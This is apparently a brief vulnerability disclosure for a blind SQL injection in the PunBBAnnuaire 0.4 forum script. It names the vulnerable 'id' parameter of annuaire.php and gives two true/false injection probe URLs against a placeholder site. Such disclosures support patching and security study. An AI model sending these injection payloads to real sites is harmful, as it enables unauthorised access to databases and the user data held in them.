27 lines
No EOL
754 B
Text
27 lines
No EOL
754 B
Text
PunBBAnnuaire <=0.4 Blind SQL Injection Vulnerability
|
|
========================================================
|
|
|
|
####################################################################
|
|
.:. Author : Metropolis
|
|
.:. Home : http://xrayoptics.by.ru/
|
|
.:. Script : PunBBAnnuaire
|
|
.:. Version : 0.4
|
|
.:. Download Script: http://www.punres.org/download.php?id=1737
|
|
.:. Bug Type : Blind Sql Injection
|
|
|
|
####################################################################
|
|
|
|
===[ Exploit ]===
|
|
|
|
/annuaire.php?action=site&id=1[ Blind SQL INJECTION ]
|
|
|
|
|
|
www.site.com/forum/annuaire.php?action=site&id=1 and 1=1 <-- true
|
|
|
|
www.site.com/forum/annuaire.php?action=site&id=1 and 1=2 <-- false
|
|
|
|
|
|
|
|
####################################################################
|
|
|
|
Vive la France ! |